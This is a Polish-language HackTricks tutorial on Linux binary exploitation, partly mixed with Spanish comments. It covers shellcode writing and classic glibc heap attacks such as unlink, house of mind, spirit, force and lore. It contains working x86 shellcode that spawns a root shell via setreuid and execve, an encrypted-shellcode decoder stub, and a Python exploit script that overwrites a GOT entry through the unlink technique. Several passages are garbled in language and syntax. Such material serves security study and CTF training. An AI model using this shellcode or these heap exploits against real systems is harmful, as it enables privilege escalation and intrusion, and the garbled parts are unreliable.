28 KiB
Eksploitacja systemu Linux (Podstawy)
Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do HackTricks i HackTricks Cloud na GitHubie.
2.SHELLCODE
View kernel interrupts: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; clear eax
xor ebx, ebx ; ebx = 0 as there are no arguments to pass
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Execute syscall
nasm -f elf assembly.asm —> Returns a .o file
ld assembly.o -o shellcodeout —> Gives us an executable formed by the assembly code and we can extract the opcodes with objdump
objdump -d -Mintel ./shellcodeout —> To verify that it is indeed our shellcode and extract the OpCodes
Verify that the shellcode works
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Aby sprawdzić, czy wywołania systemowe są wykonywane poprawnie, należy skompilować poprzedni program, a wywołania systemowe powinny pojawić się w strace ./SKOMPILOWANY_PROGRAM
Podczas tworzenia shellcode'u można zastosować sztuczkę. Pierwsza instrukcja to skok do wywołania. Wywołanie wykonuje oryginalny kod i dodatkowo umieszcza EIP na stosie. Po instrukcji wywołania umieszczamy potrzebny nam ciąg znaków, dzięki czemu za pomocą tego EIP możemy wskazać na ciąg znaków i kontynuować wykonywanie kodu.
EJ SZTUCZKA (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Użycie ESP do użycia stosu (/bin/sh):
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Łowca jajek:
Polega na małym kodzie, który przeszukuje strony pamięci powiązane z procesem w poszukiwaniu tam przechowywanej shellcode (szuka jakiegoś podpisu umieszczonego w shellcode). Przydatne w przypadkach, gdy mamy tylko niewielką przestrzeń do wstrzyknięcia kodu.
Shellkody polimorficzne
Polegają na zaszyfrowanych shellkodach, które posiadają małe kody deszyfrujące i skaczące do nich, używając sztuczki Call-Pop, oto przykład zaszyfrowany szyfrem Cezara:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
5. Metody uzupełniające
8 Przepełnienia sterty: Podstawowe ataki
Przypisany kawałek
prev_size |
size | —Nagłówek
*mem | Dane
Wolny kawałek
prev_size |
size |
*fd | Ptr do przodu
*bk | Ptr do tyłu —Nagłówek
*mem | Dane
Wolne kawałki są w liście dwukierunkowej (bin) i nigdy nie mogą być dwa wolne kawałki obok siebie (są łączone)
W "size" są bity wskazujące: czy poprzedni kawałek jest używany, czy kawałek został przydzielony za pomocą mmap() i czy kawałek należy do głównego obszaru.
Podczas zwalniania kawałka, jeśli którykolwiek z sąsiednich jest wolny, są one łączone za pomocą makra unlink() i największy nowy kawałek jest przekazywany do frontlink() w celu wstawienia go do odpowiedniego binu.
unlink(){
BK = P->bk; —> BK nowego kawałka to ten, który był wolny wcześniej
FD = P->fd; —> FD nowego kawałka to ten, który był wolny wcześniej
FD->bk = BK; —> BK następnego kawałka wskazuje na nowy kawałek
BK->fd = FD; —> FD poprzedniego kawałka wskazuje na nowy kawałek
}
Dlatego jeśli uda nam się zmodyfikować P->bk na adres shellcode i P->fd na adres wpisu w GOT lub DTORS pomniejszony o 12, osiągniemy:
BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
W ten sposób shellcode zostanie wykonana po opuszczeniu programu.
Dodatkowo, 4. instrukcja unlink() zapisuje coś, a shellcode musi być dostosowana do tego:
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Spowoduje to zapisanie 4 bajtów od 8 bajtu shellcode, dlatego pierwszą instrukcją shellcode powinno być skok, aby ominąć to i przejść do nops prowadzących do reszty shellcode.
Dlatego exploit jest tworzony:
W buforze 1 umieszczamy shellcode zaczynając od skoku, aby przejść do nops lub reszty shellcode.
Po shellcode dodajemy wypełnienie do osiągnięcia pola prev_size i size następnego kawałka. W tych miejscach umieszczamy 0xfffffff0 (aby nadpisać prev_size i ustawić bit wskazujący, że jest wolny) oraz "-4" (0xfffffffc) w size (aby podczas sprawdzania w 3. kawałku, czy 2. był wolny, faktycznie przejdzie do zmodyfikowanego prev_size, który powie, że jest wolny) -> Dlatego gdy free() sprawdzi, przejdzie do size 3., ale faktycznie przejdzie do 2. - 4 i uzna, że 2. kawałek jest wolny. Następnie wywoła unlink().
Podczas wywoływania unlink() użyje pierwszych danych z 2. kawałka jako P->fd, więc tam zostanie wstawiony adres do nadpisania - 12 (ponieważ w FD->bk dodaje 12 do adresu przechowywanego w FD). A pod tym adresem zostanie wprowadzony drugi adres z 2. kawałka, który będzie interesujący dla nas jako adres shellcode (fałszywy P->bk).
from struct import *
import os
shellcode = "\xeb\x0caaaabbbbcccc" #skok 12 + 12 bajtów wypełnienia
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #Interesuje, aby bit wskazujący, że poprzedni kawałek jest wolny, był ustawiony na 1
fake_size = pack("<I”, 0xfffffffc) #-4, aby program myślał, że "size" 3. kawałka jest 4 bajty wcześniej (wskazuje na prev_size), bo tam sprawdza, czy 2. kawałek jest wolny
addr_sc = pack("<I", 0x0804a008 + 8) #Na początku ładujemy 8 bajtów wypełnienia do payloadu
got_free = pack("<I", 0x08048300 - 12) #Adres free() w plt-12 (będzie nadpisany, aby shellcode została uruchomiona 2. raz, gdy free() zostanie wywołane)
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Jak wspomniano, payload zaczyna się od 8 bajtów wypełnienia
payload += prev_size + fake_size + got_free + addr_sc #Modyfikujemy 2. kawałek, got_free wskazuje, gdzie zapiszemy adres addr_sc + 12
os.system("./8.3.o " + payload)
unset() zwalniając w odwrotnej kolejności (wargame)
Kontrolujemy 3 kolejne kawałki i są one zwalniane w odwrotnej kolejności niż były rezerwowane.
W tym przypadku:
W kawałku c umieszczamy shellcode
Kawałek a używamy do nadpisania b, aby size miał wyłączony bit PREV_INUSE, aby program myślał, że kawałek a jest wolny.
Dodatkowo, w nagłówku b nadpisujemy size, aby wynosił -4.
Wtedy program uzna, że "a" jest wolny i w binie, więc wywoła unlink(), aby go odłączyć. Jednakże, ponieważ nagłówek PREV_SIZE wynosi -4, uzna, że kawałek "a" zaczyna się naprawdę w b+4. Innymi słowy, wywoła unlink() dla kawałka, który zaczyna się w b+4, więc w b+12 będzie wskaźnik "fd", a w b+16 będzie wskaźnik "bk".
W ten sposób, jeśli w bk umieścimy adres shellcode, a w fd umieścimy adres funkcji "puts()"-12, mamy nasz payload.
Technika Frontlink
Frontlink jest wywoływany, gdy coś jest zwalniane i żaden z sąsiednich kawałków nie jest wolny, wtedy nie jest wywoływane unlink(), ale jest bezpośrednio wywoływane frontlink().
Użyteczna podatność, gdy atakowany malloc nigdy nie jest zwalniany (free()).
Wymaga:
Bufora, który może zostać przepełniony funkcją wejściową
Bufora sąsiadującego z tym, który zostanie zwolniony i którego pole fd w nagłówku zostanie zmodyfikowane dzięki przepełnieniu poprzedniego bufora
Bufora do zwolnienia o rozmiarze większym niż 512, ale mniejszym niż poprzedni bufor
Bufora zadeklarowanego przed krokiem 3, który pozwala na nadpisanie prev_size tego bufora
Dzięki temu, poprzez nadpisanie dwóch malloców w sposób niekontrolowany i jednego w sposób kontrolowany, ale tylko ten jeden jest zwalniany, możemy przeprowadzić exploit.
Podatność double free()
Jeśli free() jest wywoływane dwa razy z tym samym wskaźnikiem, są dwa biny wskazujące na ten sam adres.
Jeśli chcemy ponownie użyć jednego, nie ma problemu. Jeśli chcemy użyć drugiego, zostanie przydzielona ta sama przestrzeń, więc mamy fałszywe wskaźniki "fd" i "bk" z danymi, które zostaną zapisane przez poprzednią rezerwację.
Po free()
Wskaźnik wcześniej zwolniony jest ponownie używany bez kontroli.
8 Przepełnienia sterty: Zaawansowane ataki
Techniki Unlink() i FrontLink() zostały usunięte poprzez modyfikację funkcji unlink().
The house of mind
Wystarczy jedno wywołanie free(), aby spowodować wykonanie arbitralnego kodu. Szukamy drugiego kawałka, który może zostać nadpisany przez poprzedni i zwolniony.
Wywołanie free() powoduje wywołanie public_fREe(mem), co powoduje:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mes); —> Zwraca wskaźnik do miejsca, gdzie zaczyna się kawałek (mem-8)
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
W [1] sprawdzany jest rozmiar pola NON_MAIN_ARENA, który można zmienić, aby sprawdzenie zwróciło true i wykonało heap_for_ptr(), które wykonuje operację and na "mem", ustawiając na 0 2,5 mniej znaczących bajtów (w naszym przypadku z 0x0804a000 na 0x08000000) i uzyskuje dostęp do 0x08000000->ar_ptr (jak do struktury heap_info).
W ten sposób, jeśli możemy kontrolować kawałek na przykład w 0x0804a000 i kawałek zostanie zwolniony w 0x081002a0, możemy dotrzeć do adresu 0x08100000 i zapisać, na przykład, 0x0804a000. Gdy ten drugi kawałek zostanie zwolniony, heap_for_ptr(ptr)->ar_ptr zwróci to, co napisaliśmy w 0x08100000 (ponieważ stosuje się do 0x081002a0 operację and, którą widzieliśmy wcześniej, i stąd pobiera wartość pierwszych 4 bajtów, ar_ptr).
W ten sposób wywoływane jest _int_free(ar_ptr, mem), czyli _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){
…
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
Jak widzieliśmy wcześniej, możemy kontrolować wartość av, ponieważ to, co piszemy w zwalnianym kawałku.
Zgodnie z definicją unsorted_chunks, wiemy, że:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
Dlatego jeśli w av->bins[2] wpiszemy wartość __DTOR_END__-12, w ostatniej instrukcji zostanie zapisana w __DTOR_END__ adres drugiego kawałka.
Inaczej mówiąc, na początku pierwszego kawałka musimy umieścić wiele razy adres __DTOR_END__-12, ponieważ av->bins[2] go stamtąd weźmie.
W miejscu, gdzie znajduje się adres drugiego kawałka z ostatnimi 5 zerami, należy wpisać adres tego pierwszego kawałka, aby heap_for_ptr() uznał, że ar_ptr znajduje się na początku pierwszego kawałka i stamtąd wyciągnął av->bins[2].
W drugim kawałku, dzięki pierwszemu, nadpisujemy prev_size skokiem 0x0c i size czymś, aby aktywować -> NON_MAIN_ARENA.
Następnie w kawałku 2 umieszczamy dużo nops i ostatecznie shellcode.
W ten sposób zostanie wywołane _int_free(KAWAŁEK1, KAWAŁEK2) i zostaną wykonane instrukcje, aby zapisać w __DTOR_END__ adres prev_size KAWAŁKA2, który skoczy do shellcode.
Aby zastosować tę technikę, konieczne jest spełnienie kilku dodatkowych wymagań, które nieco komplikują payload.
Ta technika nie jest już stosowana, ponieważ zastosowano prawie ten sam patch co dla unlink. Porównuje się, czy nowe miejsce, do którego się odwołuje, również odwołuje się do niego.
Fastbin
To wariant The house of mind
Interesuje nas wykonanie następującego kodu, do którego dochodzi po pierwszej weryfikacji funkcji _int_free()
fb = &(av->fastbins[fastbin_index(size)] —> Gdzie fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
W ten sposób, jeśli umieścimy w "fb" adres funkcji w GOT, pod tym adresem umieszczona zostanie nadpisana wartość. Wymaga to, aby arena była blisko adresów dtors. Dokładniej mówiąc, av->max_fast musi znajdować się pod adresem, który zamierzamy nadpisać.
Ponieważ w The House of Mind zauważono, że kontrolowaliśmy pozycję av.
Jeśli więc w polu size umieścimy rozmiar 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() zwróci fastbins[-1], który wskaże na av->max_fast
W tym przypadku av->max_fast będzie adresem, który zostanie nadpisany (nie na który wskaże, ale ta pozycja zostanie nadpisana).
Dodatkowo musi być spełniony warunek, że kawałek sąsiadujący z uwolnionym musi być większy niż 8 -> Ponieważ powiedzieliśmy, że rozmiar uwolnionego kawałka to 8, w tym fałszywym kawałku musimy umieścić rozmiar większy niż 8 (ponieważ shellcode będzie w uwolnionym kawałku, na początku trzeba umieścić skok, który trafi w nops).
Dodatkowo ten sam fałszywy kawałek musi być mniejszy niż av->system_mem. av->system_mem znajduje się 1848 bajtów dalej.
Ze względu na nulle w _DTOR_END_ i niewiele adresów w GOT, żaden z tych obszarów nie nadaje się do nadpisania, zobaczmy więc, jak zastosować fastbin do ataku na stos.
Innym sposobem ataku jest przekierowanie av na stos.
Jeśli zmienimy rozmiar na 16 zamiast 8, wtedy: fastbin_index() zwróci fastbins[0] i możemy z tego skorzystać, aby nadpisać stos.
W tym przypadku nie powinno być żadnych canary ani dziwnych wartości na stosie, faktycznie musimy znaleźć się w: 4 bajty nulle + EBP + RET
4 bajty nulle są potrzebne, aby av znajdował się pod tym adresem, a pierwszym elementem av jest mutex, który musi wynosić 0.
av->max_fast będzie EBP i będzie wartością, która pozwoli nam ominąć ograniczenia.
W av->fastbins[0] zostanie nadpisany adresem p i będzie RET, co spowoduje skok do shellcode.
Dodatkowo, w av->system_mem (1484 bajty powyżej pozycji na stosie) będzie dużo śmieci, które pozwolą nam ominąć sprawdzenie.
Dodatkowo musi być spełniony warunek, że kawałek sąsiadujący z uwolnionym musi być większy niż 8 -> Ponieważ powiedzieliśmy, że rozmiar uwolnionego kawałka to 16, w tym fałszywym kawałku musimy umieścić rozmiar większy niż 8 (ponieważ shellcode będzie w uwolnionym kawałku, na początku trzeba umieścić skok, który trafi w nops, które znajdują się po polu size nowego fałszywego kawałka).
The House of Spirit
W tym przypadku szukamy wskaźnika malloc, który może być zmieniony przez atakującego (na przykład, aby wskaźnik znajdował się na stosie pod potencjalnym przepełnieniem zmiennej).
W ten sposób moglibyśmy sprawić, że ten wskaźnik wskazywałby gdziekolwiek. Jednak nie każde miejsce jest dobre, rozmiar fałszywego kawałka musi być mniejszy niż av->max_fast i bardziej konkretne, równy rozmiarowi żądanemu w przyszłym wywołaniu malloc()+8. Dlatego jeśli wiemy, że po tym podatnym wskaźniku następuje wywołanie malloc(40), rozmiar fałszywego kawałka musi wynosić 48. Jeśli na przykład program pyta użytkownika o liczbę, możemy wprowadzić 48 i skierować zmienialny wskaźnik malloc na następne 4 bajty (które mogą należeć do EBP, jeśli mamy szczęście, więc 48 pozostaje z tyłu, jakby to była nagłówek rozmiaru). Ponadto adres ptr-4+48 musi spełniać kilka warunków (w tym przypadku ptr=EBP), czyli 8 < ptr-4+48 < av->system_mem.
Jeśli to zostanie spełnione, gdy zostanie wywołany kolejny malloc, który określiliśmy jako malloc(40), zostanie mu przypisany adres EBP. Jeśli atakujący może również kontrolować to, co jest zapisywane w tym malloc, może nadpisać zarówno EBP, jak i EIP dowolnym adresem.
Wygląda na to, że dlatego, gdy zostanie zwolniony free(), zostanie zapisane, że w adresie wskazującym na EBP stosu znajduje się kawałek o idealnym rozmiarze dla nowego malloc(), który chcemy zarezerwować, więc przypisuje mu ten adres.
The House of Force
Potrzebne jest:
- Przepełnienie do kawałka, które pozwala na nadpisanie wilderness
- Wywołanie malloc() z rozmiarem określonym przez użytkownika
- Wywołanie malloc(), którego dane mogą być zdefiniowane przez użytkownika
Po pierwsze, nadpisujemy rozmiar kawałka wilderness wartością bardzo dużą (0xffffffff), dzięki czemu każde żądanie pamięci wystarczająco duże będzie obsługiwane w _int_malloc() bez konieczności rozszerzania sterty.
Po drugie, zmieniamy av->top, aby wskazywał na obszar pamięci pod kontrolą atakującego, takiego jak stos. W av->top umieszczamy &EIP - 8.
Musimy nadpisać av->top, aby wskazywał na obszar pamięci pod kontrolą atakującego:
victim = av->top;
remainder = chunck_at_offset(victim, nb);
av->top = remainder;
Victim pobiera adres bieżącego kawałka wilderness (aktualne av->top), a remainder to dokładnie suma tego adresu i liczby bajtów żądanych przez malloc(). Dlatego jeśli &EIP-8 znajduje się pod adresem 0xbffff224, a av->top zawiera 0x080c2788, to ilość, którą musimy zarezerwować w kontrolowanym malloc, aby av->top wskazywał na $EIP-8 dla następnego malloc(), wynosi:
0xbffff224 - 0x080c2788 = 3086207644.
W ten sposób zmodyfikowany zostanie av->top, a następny malloc wskaże na EIP i będzie można go nadpisać.
Ważne jest, aby rozmiar nowego kawałka wilderness był większy niż żądanie ostatniego malloc(). Innymi słowy, jeśli wilderness wskazuje na &EIP-8, rozmiar będzie dokładnie w polu EBP stosu.
The House of Lore
Korupcja SmallBin
Zwolnione kawałki są umieszczane w binie w zależności od ich rozmiaru. Ale zanim zostaną umieszczone, są przechowywane w unsorted bins. Kawałek, który został zwolniony, nie jest natychmiast umieszczany w swoim binie, ale pozostaje w unsorted bins. Następnie, jeśli zostanie zarezerwowany nowy kawałek i poprzedni zwolniony może mu posłużyć, zostanie mu zwrócony, ale jeśli zostanie zarezerwowany większy, zwolniony kawałek w unsorted bins zostanie umieszczony w odpowiednim binie.
Aby osiągnąć podatny kod, żądanie pamięci musi być większe niż av->max_fast (zazwyczaj 72) i mniejsze niż MIN_LARGE_SIZE (512).
Jeśli w binie znajduje się kawałek o odpowiednim rozmiarze, zostanie on zwrócony po odłączeniu:
bck = victim->bk; Wskaże poprzedni kawałek, to jedyna informacja, którą możemy zmienić.
bin->bk = bck; Przedostatni kawałek staje się ostatnim, jeśli bck wskazuje na stos, następnemu zarezerwowanemu kawałkowi zostanie przypisany ten adres
bck->fd = bin; Lista jest zamykana, wskazując na bin
Potrzebne jest:
Zarezerwowanie dwóch malloc, tak aby po zwolnieniu drugiego i umieszczeniu go w jego binie (czyli zarezerwowaniu większego malloc niż drugi kawałek przed przepełnieniem)
Zarezerwowanie malloc, któremu atakujący może przypisać wybrany adres.
Celem jest to, że jeśli możemy przepełnić stertę, która ma poniżej siebie zwolniony kawałek w swoim binie, możemy zmienić wskaźnik bk. Jeśli zmienimy wskaźnik bk tego kawałka i stanie się on pierwszym na liście bin, a następnie zostanie zarezerwowany, bin zostanie oszukany i pomyśli, że ostatni kawałek na liście (następny do zaoferowania) znajduje się pod fałszywym adresem, który podaliśmy (na stosie lub GOT, na przykład). Dlatego jeśli zostanie zarezerwowany kolejny kawałek i atakujący ma do niego uprawnienia, zostanie mu przydzielony kawałek na pożądanej pozycji i będzie mógł w nią pisać.
Po zwolnieniu zmodyfikowanego kawałka konieczne jest zarezerwowanie kawałka większego od zwolnionego, aby zmodyfikowany kawałek wyszedł z unsorted bins i został umieszczony w swoim binie.
Gdy już znajdzie się w swoim binie, należy zmienić wskaźnik bk za pomocą przepełnienia, aby wskazywał na adres, który chcemy nadpisać.
Bin musi poczekać, aż malloc() zostanie wywołane wystarczająco wiele razy, aby ponownie użyć zmodyfikowanego bina i oszukać bin, sprawiając, że następny kawałek znajduje się pod fałszywym adresem. Następnie zostanie przydzielony pożądany kawałek.
Aby jak najszybciej wywołać podatność, idealne jest: zarezerwowanie podatnego kawałka, zarezerwowanie kawałka, który zostanie zmodyfikowany, zwolnienie tego kawałka, zarezerwowanie kawałka większego od zmodyfikowanego, zmodyfikowanie kawałka (podatność), zarezerwowanie kawałka o takim samym rozmiarze co podatny i zarezerwowanie drugiego kawałka o takim samym rozmiarze, który będzie wskazywał na wybrany adres.
Aby zabezpieczyć się przed tym atakiem, stosuje się standardową weryfikację, czy kawałek „nie” jest fałszywy: sprawdza się, czy bck->fd wskazuje na victim. Innymi słowy, w naszym przypadku, jeśli wskaźnik fd* fałszywego kawałka wskazuje na victim na stosie. Aby ominąć to zabezpieczenie, atakujący musiałby być w stanie w jakiś sposób (prawdopodobnie przez stos) zapisać w odpowiednim miejscu adres victim. W ten sposób wyglądałoby to jak prawdziwy kawałek.
Korupcja LargeBin
Wymagane są te same warunki co wcześniej i kilka dodatkowych, ponadto zarezerwowane kawałki muszą być większe niż 512.
Atak jest podobny do poprzedniego, czyli trzeba zmienić wskaźnik bk i potrzebne są wszystkie te wywołania malloc(), ale dodatkowo trzeba zmienić rozmiar zmodyfikowanego kawałka tak, aby to size - nb było < MINSIZE.
Na przykład, trzeba ustawić rozmiar na 1552, aby 1552 - 1544 = 8 < MINSIZE (odejmowanie nie może być ujemne, ponieważ porównuje się wartość bez znaku)
Dodatkowo wprowadzono łatkę, aby sprawić, że atak będzie jeszcze trudniejszy.
Rozpylanie sterty (Heap Spraying)
Polega na rezerwacji jak największej ilości pamięci dla sterty i wypełnienie jej poduszką z nops zakończoną shellcodem. Jako poduszki używa się 0x0c. Następnie próbuje się skoczyć do adresu 0x0c0c0c0c, więc jeśli jakaś adres zostanie nadpisany tymi nopsami, zostanie tam skoczono. W skrócie, taktyka polega na zarezerwowaniu jak największej ilości pamięci, aby sprawdzić, czy jakiś wskaźnik zostanie nadpisany, i skoczyć do 0x0c0c0c0c, mając nadzieję, że tam będą nopsy.
Feng Shui sterty (Heap Feng Shui)
Polega na cementowaniu pamięci poprzez rezerwacje i zwalnianie kawałków w taki sposób, aby między kawałkami wolnymi pozostały zarezerwowane kawałki. Bufor do przepełnienia zostanie umieszczony w jednym z tych kawałków.
objdump -d executable —> Rozkłada funkcje
objdump -d ./PROGRAMA | grep FUNCTION —> Pobiera adres funkcji
objdump -d -Mintel ./shellcodeout —> Aby sprawdzić, czy to na pewno nasz shellcode i uzyskać kody operacyjne
objdump -t ./exec | grep varBss —> Tabela de símbolos, aby uzyskać adres zmiennej i funkcji
objdump -TR ./exec | grep exit(func lib) —> Aby uzyskać adres funkcji z bibliotek (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Wyświetla adres puts do nadpisania w GOT
objdump -D ./exec —> Rozkłada WSZYSTKO do wpisów plt
objdump -p -/exec
Info functions strncmp —> Informacje o funkcji w gdb
Interesujące kursy
- https://guyinatuxedo.github.io/
- https://github.com/RPISEC/MBE
- https://ir0nstone.gitbook.io/notes
- https://github.com/shellphish/how2heap
- https://pwnable.tw/
- https://ctf.hackucf.org/
Referencje
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.